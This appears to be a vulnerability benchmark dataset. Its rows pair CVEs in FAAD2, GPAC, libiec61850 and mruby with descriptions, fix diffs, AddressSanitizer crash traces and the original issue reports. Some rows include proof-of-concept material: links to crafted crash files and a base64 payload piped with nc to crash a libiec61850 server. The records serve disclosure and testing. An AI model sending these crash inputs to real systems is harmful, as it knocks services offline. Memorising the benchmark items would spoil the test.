#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7f09d0cf382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/lt_predict.c:108 lt_prediction
==7092==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/010-invalid-def-lt_predict_108
---
Comment #1 by nluedtke:
This was assigned [CVE-2018-20358](https://nvd.nist.gov/vuln/detail/CVE-2018-20358).
---
Comment #2 by hlef:
Unreproducible on the current master.
Fixed by 466b01d504d7e45f1e9169ac90b3e34ab94aed14.
---
Comment #3 by fabiangreffrath:
Closing then. | https://nvd.nist.gov/vuln/detail/CVE-2018-20358 | ||||
faad2.cve-2018-20359 | An invalid memory address dereference was discovered in the sbrDecodeSingleFramePS function of libfaad/sbr_dec.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service. | https://github.com/knik0/faad2/issues/29 | CWE-119 | knik0/faad2 | https://github.com/knik0/faad2/issues/29, https://seclists.org/bugtraq/2019/Sep/28 | ASAN:SIGSEGVfaad_res/007-invalid-def-sbr_hfadj_601.
=================================================================
==7085==ERROR: AddressSanitizer: SEGV on unknown address 0x0000f64f3bb0 (pc 0x7fa4348f6f2d bp 0x7ffff64fd450 sp 0x7ffff64f3b80 T0)
#0 0x7fa4348f6f2c in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:601
#1 0x7fa43489eb54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#2 0x7fa4348a6e28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#3 0x7fa4348a5354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#4 0x7fa4348a62da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#5 0x7fa4348609c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fa434860566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fa43449882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_dec.c:601 sbrDecodeSingleFramePS
==7085==ABORTING | === https://github.com/knik0/faad2/issues/29 ===
Title: Invalid memory address dereference in sbrDecodeSingleFramePS(in libfaad/sbr_dec.c:601)
---
Body:
Hi, i found a issue in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function sbrDecodeSingleFramePS .the details are below(ASAN):
```
./faad faad_res/007-invalid-def-sbr_hfadj_601 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/007-invalid-def-sbr_hfadj_601 file info:
ADTS, 0.469 sec, 41 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
ASAN:SIGSEGVfaad_res/007-invalid-def-sbr_hfadj_601.
=================================================================
==7085==ERROR: AddressSanitizer: SEGV on unknown address 0x0000f64f3bb0 (pc 0x7fa4348f6f2d bp 0x7ffff64fd450 sp 0x7ffff64f3b80 T0)
#0 0x7fa4348f6f2c in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:601
#1 0x7fa43489eb54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#2 0x7fa4348a6e28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#3 0x7fa4348a5354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#4 0x7fa4348a62da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#5 0x7fa4348609c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fa434860566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fa43449882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_dec.c:601 sbrDecodeSingleFramePS
==7085==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/007-invalid-def-sbr_hfadj_601
---
Comment #1 by nluedtke:
This was assigned [CVE-2018-20359](https://nvd.nist.gov/vuln/detail/CVE-2018-20359).
---
Comment #2 by hlef:
This one is also fixed on the latest master. This is the same issue as #30 and #21, addressed in 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3.
So this can be closed as well.
---
Comment #3 by fabiangreffrath:
Let's close it then! | https://nvd.nist.gov/vuln/detail/CVE-2018-20359 | ||||
gpac.cve-2021-32438 | The gf_media_export_filters function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command. | https://github.com/gpac/gpac/issues/1769 | https://github.com/gpac/gpac/commit/00194f5fe462123f70b0bae7987317b52898b868 | CWE-476 | gpac/gpac | 00194f5fe462123f70b0bae7987317b52898b868~1 | diff --git a/src/media_tools/media_export.c b/src/media_tools/media_export.c
index b89936f83c..968818da31 100644
--- a/src/media_tools/media_export.c
+++ b/src/media_tools/media_export.c
@@ -1108,7 +1108,7 @@ static GF_Err gf_media_export_filters(GF_MediaExporter *dumper)
}
esd = gf_media_map_esd(dumper->file, track_num, 0);
sample_count = gf_isom_get_sample_count(dumper->file, dumper->trackID);
- if (esd) {
+ if (esd && esd->decoderConfig) {
if (esd->decoderConfig->objectTypeIndication<GF_CODECID_LAST_MPEG4_MAPPING) {
codec_id = gf_codecid_from_oti(esd->decoderConfig->streamType, esd->decoderConfig->objectTypeIndication);
#ifndef GPAC_DISABLE_AV_PARSERS
| https://github.com/gpac/gpac/issues/1769 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==2590==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x7f10a4aef7e8 bp 0x7ffc623e3300 sp 0x7ffc623e2c20 T0)
==2590==The signal is caused by a READ memory access.
==2590==Hint: address points to the zero page.
#0 0x7f10a4aef7e7 in gf_media_export_filters media_tools/media_export.c:1112
#1 0x7f10a4af1146 in gf_media_export media_tools/media_export.c:1474
#2 0x5605c1f30d36 in do_export_tracks /home/lab4/src/gpac/applications/mp4box/main.c:4646
#3 0x5605c1f35f6a in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:5971
#4 0x5605c1f37653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335
#5 0x7f10a455a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#6 0x5605c1f232ad in _start (/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV media_tools/media_export.c:1112 in gf_media_export_filters
==2590==ABORTING | === https://github.com/gpac/gpac/issues/1769 ===
Title: Null pointer dereference in gpac MP4Box gf_media_export_filters
---
Body:
A null pointer dereference issue was found in MP4Box, to reproduce, compile gpac as follows:
```
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug
```
run poc file :
```
./bin/gcc/MP4Box -nhnt 1 poc -out /dev/null
```
Detailed ASAN result is as below:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2590==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x7f10a4aef7e8 bp 0x7ffc623e3300 sp 0x7ffc623e2c20 T0)
==2590==The signal is caused by a READ memory access.
==2590==Hint: address points to the zero page.
#0 0x7f10a4aef7e7 in gf_media_export_filters media_tools/media_export.c:1112
#1 0x7f10a4af1146 in gf_media_export media_tools/media_export.c:1474
#2 0x5605c1f30d36 in do_export_tracks /home/lab4/src/gpac/applications/mp4box/main.c:4646
#3 0x5605c1f35f6a in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:5971
#4 0x5605c1f37653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335
#5 0x7f10a455a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#6 0x5605c1f232ad in _start (/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV media_tools/media_export.c:1112 in gf_media_export_filters
==2590==ABORTING
```
Credit : ADLab of Venustech
[poc-null.zip](https://github.com/gpac/gpac/files/6403776/poc-null.zip)
---
Comment #1 by JsHuang:
This is CVE-2021-32438 | https://nvd.nist.gov/vuln/detail/CVE-2021-32438 | |
libiec61850.cve-2021-45769 | A NULL pointer dereference in AcseConnection_parseMessage at src/mms/iso_acse/acse.c of libiec61850 v1.5.0 can lead to a segmentation fault or application crash. | https://github.com/mz-automation/libiec61850/issues/368 | https://github.com/mz-automation/libiec61850/issues/368 | CWE-476 | mz-automation/libiec61850 | https://github.com/mz-automation/libiec61850/issues/368 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==4028537==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55de6e46db68 bp 0x7fac36efcaa0 sp 0x7fac36efc9f0 T3)
==4028537==The signal is caused by a READ memory access.
==4028537==Hint: address points to the zero page.
#0 0x55de6e46db67 in AcseConnection_parseMessage src/mms/iso_acse/acse.c:429
#1 0x55de6e41960b in IsoConnection_handleTcpConnection src/mms/iso_server/iso_connection.c:233
#2 0x55de6e41ac5d in handleTcpConnection src/mms/iso_server/iso_connection.c:472
#3 0x7fac3b7e3608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477
#4 0x7fac3b5bb292 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x122292)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mms/iso_acse/acse.c:429 in AcseConnection_parseMessage
Thread T3 created by T1 here:
#0 0x7fac3b837805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55de6e3b19dc in Thread_start hal/thread/linux/thread_linux.c:89
#2 0x55de6e41b4f7 in IsoConnection_start src/mms/iso_server/iso_connection.c:581
#3 0x55de6e417bf1 in handleIsoConnections src/mms/iso_server/iso_server.c:520
#4 0x55de6e417c99 in isoServerThread src/mms/iso_server/iso_server.c:554
#5 0x7fac3b7e3608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477
Thread T1 created by T0 here:
#0 0x7fac3b837805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55de6e3b19dc in Thread_start hal/thread/linux/thread_linux.c:89
#2 0x55de6e4182d2 in IsoServer_startListening src/mms/iso_server/iso_server.c:682
#3 0x55de6e3b9b50 in MmsServer_startListening src/mms/iso_mms/server/mms_server.c:606
#4 0x55de6e3adae9 in IedServer_start src/iec61850/server/impl/ied_server.c:692
#5 0x55de6e39537e in main /root/disk2/fuzzing/libiec61850/test/libiec61850/examples/server_example_basic_io/server_example_basic_io.c:146
#6 0x7fac3b4c00b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
==4028537==ABORTING | === https://github.com/mz-automation/libiec61850/issues/368 ===
Title: NULL Pointer Dereference in AcseConnection_parseMessage
---
Body:
# NULL Pointer Dereference in AcseConnection_parseMessage
## Description
A NULL Pointer Dereference was discovered in AcseConnection_parseMessage at src/mms/iso_acse/acse.c:429. The vulnerability causes a segmentation fault and application crash.
**version**
8eeb6f0
**System information**
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz
## Proof of Concept
**poc**
```
base64 poc
AwAAFgLwgA0NAQDBATGBAgABogIAAA==
```
**command:**
```
./server_example_basic_io
nc 0.0.0.0 102 < poc
```
**Result**
```
./server_example_basic_io
Using libIEC61850 version 1.5.0
Connection opened
AddressSanitizer:DEADLYSIGNAL
=================================================================
==4028537==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55de6e46db68 bp 0x7fac36efcaa0 sp 0x7fac36efc9f0 T3)
==4028537==The signal is caused by a READ memory access.
==4028537==Hint: address points to the zero page.
#0 0x55de6e46db67 in AcseConnection_parseMessage src/mms/iso_acse/acse.c:429
#1 0x55de6e41960b in IsoConnection_handleTcpConnection src/mms/iso_server/iso_connection.c:233
#2 0x55de6e41ac5d in handleTcpConnection src/mms/iso_server/iso_connection.c:472
#3 0x7fac3b7e3608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477
#4 0x7fac3b5bb292 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x122292)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mms/iso_acse/acse.c:429 in AcseConnection_parseMessage
Thread T3 created by T1 here:
#0 0x7fac3b837805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55de6e3b19dc in Thread_start hal/thread/linux/thread_linux.c:89
#2 0x55de6e41b4f7 in IsoConnection_start src/mms/iso_server/iso_connection.c:581
#3 0x55de6e417bf1 in handleIsoConnections src/mms/iso_server/iso_server.c:520
#4 0x55de6e417c99 in isoServerThread src/mms/iso_server/iso_server.c:554
#5 0x7fac3b7e3608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477
Thread T1 created by T0 here:
#0 0x7fac3b837805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55de6e3b19dc in Thread_start hal/thread/linux/thread_linux.c:89
#2 0x55de6e4182d2 in IsoServer_startListening src/mms/iso_server/iso_server.c:682
#3 0x55de6e3b9b50 in MmsServer_startListening src/mms/iso_mms/server/mms_server.c:606
#4 0x55de6e3adae9 in IedServer_start src/iec61850/server/impl/ied_server.c:692
#5 0x55de6e39537e in main /root/disk2/fuzzing/libiec61850/test/libiec61850/examples/server_example_basic_io/server_example_basic_io.c:146
#6 0x7fac3b4c00b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
==4028537==ABORTING
```
**gdb**
```
Using libIEC61850 version 1.5.0
[New Thread 0x7ffff3bff700 (LWP 4048010)]
[New Thread 0x7ffff33fe700 (LWP 4048011)]
Connection opened
[New Thread 0x7ffff2bfd700 (LWP 4048307)]
Thread 4 "server_example_" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff2bfd700 (LWP 4048307)]
0x0000555555661b68 in AcseConnection_parseMessage (self=0x608000004020, message=0x6060000030a8) at src/mms/iso_acse/acse.c:429
429 uint8_t messageType = buffer[bufPos++];
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff2bfca20 ◂— 0x41b58ab3
RCX 0x0
RDX 0x0
RDI 0x7ffff2bfca80 —▸ 0x7ffff2bfce60 ◂— 0x0
RSI 0x0
R8 0x0
R9 0x32
R10 0x40
R11 0x0
R12 0xffffe57f944 ◂— 0x0
R13 0x7ffff2bfca20 ◂— 0x41b58ab3
R14 0x7ffff2bfcb40 ◂— 0x41b58ab3
R15 0x7ffff2bfcf80 ◂— 0x0
RBP 0x7ffff2bfcaa0 —▸ 0x7ffff2bfce80 —▸ 0x7ffff2bfceb0 ◂— 0x0
RSP 0x7ffff2bfc9f0 —▸ 0x6060000030a8 ◂— 0x0
RIP 0x555555661b68 (AcseConnection_parseMessage+383) ◂— movzx eax, byte ptr [rcx]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555661b68 <AcseConnection_parseMessage+383> movzx eax, byte ptr [rcx]
0x555555661b6b <AcseConnection_parseMessage+386> mov byte ptr [rbp - 0x95], al
0x555555661b71 <AcseConnection_parseMessage+392> mov ecx, dword ptr [rbp - 0x90]
0x555555661b77 <AcseConnection_parseMessage+398> mov edx, dword ptr [rbp - 0x8c]
0x555555661b7d <AcseConnection_parseMessage+404> lea rsi, [rdi - 0x40]
0x555555661b81 <AcseConnection_parseMessage+408> mov rax, qword ptr [rbp - 0x88]
0x555555661b88 <AcseConnection_parseMessage+415> mov rdi, rax
0x555555661b8b <AcseConnection_parseMessage+418> call BerDecoder_decodeLength <BerDecoder_decodeLength>
0x555555661b90 <AcseConnection_parseMessage+423> mov dword ptr [rbp - 0x8c], eax
0x555555661b96 <AcseConnection_parseMessage+429> cmp dword ptr [rbp - 0x8c], 0
0x555555661b9d <AcseConnection_parseMessage+436> jns AcseConnection_parseMessage+448
<AcseConnection_parseMessage+448>
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /root/disk2/fuzzing/libiec61850/test/libiec61850/src/mms/iso_acse/acse.c
424
425 int messageSize = message->size;
426
427 int bufPos = 0;
428
► 429 uint8_t messageType = buffer[bufPos++];
430
431 int len;
432
433 bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
434
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7ffff2bfc9f0 —▸ 0x6060000030a8 ◂— 0x0
01:0008│ 0x7ffff2bfc9f8 —▸ 0x608000004020 ◂— 0x0
02:0010│ 0x7ffff2bfca00 —▸ 0x7ffff2bfcb40 ◂— 0x41b58ab3
03:0018│ 0x7ffff2bfca08 —▸ 0xa2310146 ◂— 0x0
04:0020│ 0x7ffff2bfca10 —▸ 0x100000000 ◂— 0x0
05:0028│ 0x7ffff2bfca18 ◂— 0x0
06:0030│ rbx r13 0x7ffff2bfca20 ◂— 0x41b58ab3
07:0038│ 0x7ffff2bfca28 —▸ 0x5555556d71d8 ◂— '1 32 4 7 len:431'
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x555555661b68 AcseConnection_parseMessage+383
f 1 0x55555560d60c IsoConnection_handleTcpConnection+1422
f 2 0x55555560ec5e handleTcpConnection+43
f 3 0x7ffff7564609 start_thread+217
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x0000555555661b68 in AcseConnection_parseMessage (self=0x608000004020, message=0x6060000030a8) at
src/mms/iso_acse/acse.c:429
#1 0x000055555560d60c in IsoConnection_handleTcpConnection (self=0x61100000ff40, isSingleThread=false) at src/mms/iso_server/iso_connection.c:233
#2 0x000055555560ec5e in handleTcpConnection (parameter=0x61100000ff40) at src/mms/iso_server/iso_connection.c:472
#3 0x00007ffff7564609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#4 0x00007ffff733c293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```
---
Comment #1 by mzillgith:
Thanks for the bug reports. Is confirmed and should be fixed. | https://nvd.nist.gov/vuln/detail/CVE-2021-45769 | |||
faad2.cve-2018-20197 | There is a stack-based buffer underflow in the third instance of the calculate_gain function in libfaad/sbr_hfadj.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. A crafted input will lead to a denial of service or possibly unspecified other impact because limiting the additional noise energy level is mishandled for the G_max > G case. | https://github.com/knik0/faad2/issues/20 | CWE-787 | knik0/faad2 | https://github.com/knik0/faad2/issues/20, https://seclists.org/bugtraq/2019/Sep/28 | ==7026==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff630132fc at pc 0x7fedefda0e74 bp 0x7fff63012ef0 sp 0x7fff63012ee0
WRITE of size 4 at 0x7fff630132fc thread T0
#0 0x7fedefda0e73 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1311
#1 0x7fedefd9e392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7fedefdbc725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7fedefdbe7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7fedefd66b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7fedefd6ee28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#6 0x7fedefd6d354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7fedefd6e2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7fedefd289c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7fedefd28566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7fedef96082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7fff630132fc is located in stack of thread T0 at offset 12 in frame
#0 0x7fedefd9dd8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1311 calculate_gain
Shadow bytes around the buggy address:
0x10006c5fa600: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2
0x10006c5fa610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa620: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2
0x10006c5fa630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa640: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3 f3 f3
=>0x10006c5fa650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1[f1]
0x10006c5fa660: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7026==ABORTING | === https://github.com/knik0/faad2/issues/20 ===
Title: stack-buffer-underflow in function calculate_gain(libfaad/sbr_hfadj.c:1311)
---
Body:
Hi, i found a stack-buffer-overflow bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8, the details are below(ASAN):
```
./faad faad_res/006-stack-buffer-underflow-sbr_hfadj_1311 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/006-stack-buffer-underflow-sbr_hfadj_1311 file info:
ADTS, 0.256 sec, 42 kbps, 48000 Hz
---------------------
| Config: 2 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
---------------------
=================================================================
==7026==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff630132fc at pc 0x7fedefda0e74 bp 0x7fff63012ef0 sp 0x7fff63012ee0
WRITE of size 4 at 0x7fff630132fc thread T0
#0 0x7fedefda0e73 in calculate_gain /root/faad2_asan/libfaad/sbr_hfadj.c:1311
#1 0x7fedefd9e392 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:83
#2 0x7fedefdbc725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363
#3 0x7fedefdbe7fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637
#4 0x7fedefd66b54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071
#5 0x7fedefd6ee28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631
#6 0x7fedefd6d354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351
#7 0x7fedefd6e2da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441
#8 0x7fedefd289c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#9 0x7fedefd28566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#13 0x7fedef96082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
Address 0x7fff630132fc is located in stack of thread T0 at offset 12 in frame
#0 0x7fedefd9dd8e in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:60
This frame has 1 object(s):
[32, 2972) 'adj'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow /root/faad2_asan/libfaad/sbr_hfadj.c:1311 calculate_gain
Shadow bytes around the buggy address:
0x10006c5fa600: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2
0x10006c5fa610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa620: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f2 f2 f2 f2
0x10006c5fa630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa640: 00 00 00 00 00 00 00 00 04 f4 f4 f4 f3 f3 f3 f3
=>0x10006c5fa650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1[f1]
0x10006c5fa660: f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10006c5fa6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==7026==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/006-stack-buffer-underflow-sbr_hfadj_1311
---
Comment #1 by hlef:
This issue was assigned CVE-2018-20197.
Exact same issue as #21, slightly different path.
@fabiangreffrath : in any case, also fixed by 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3.
---
Comment #2 by fabiangreffrath:
Closing, thanks! | https://nvd.nist.gov/vuln/detail/CVE-2018-20197 | ||||
mruby.cve-2018-12248 | An issue was discovered in mruby 1.4.1. There is a heap-based buffer over-read associated with OP_ENTER because mrbgems/mruby-fiber/src/fiber.c does not extend the stack in cases of many arguments to fiber. | https://github.com/mruby/mruby/commit/778500563a9f7ceba996937dc886bd8cde29b42b | CWE-125 | mruby/mruby | 778500563a9f7ceba996937dc886bd8cde29b42b~1 | diff --git a/mrbgems/mruby-fiber/src/fiber.c b/mrbgems/mruby-fiber/src/fiber.c
index 83153a9df1..b88fa49497 100644
--- a/mrbgems/mruby-fiber/src/fiber.c
+++ b/mrbgems/mruby-fiber/src/fiber.c
@@ -184,26 +184,27 @@ fiber_switch(mrb_state *mrb, mrb_value self, mrb_int len, const mrb_value *a, mr
{
struct mrb_context *c = fiber_check(mrb, self);
struct mrb_context *old_c = mrb->c;
+ enum mrb_fiber_state status;
mrb_value value;
fiber_check_cfunc(mrb, c);
- if (resume && c->status == MRB_FIBER_TRANSFERRED) {
+ status = c->status;
+ if (resume && status == MRB_FIBER_TRANSFERRED) {
mrb_raise(mrb, E_FIBER_ERROR, "resuming transferred fiber");
}
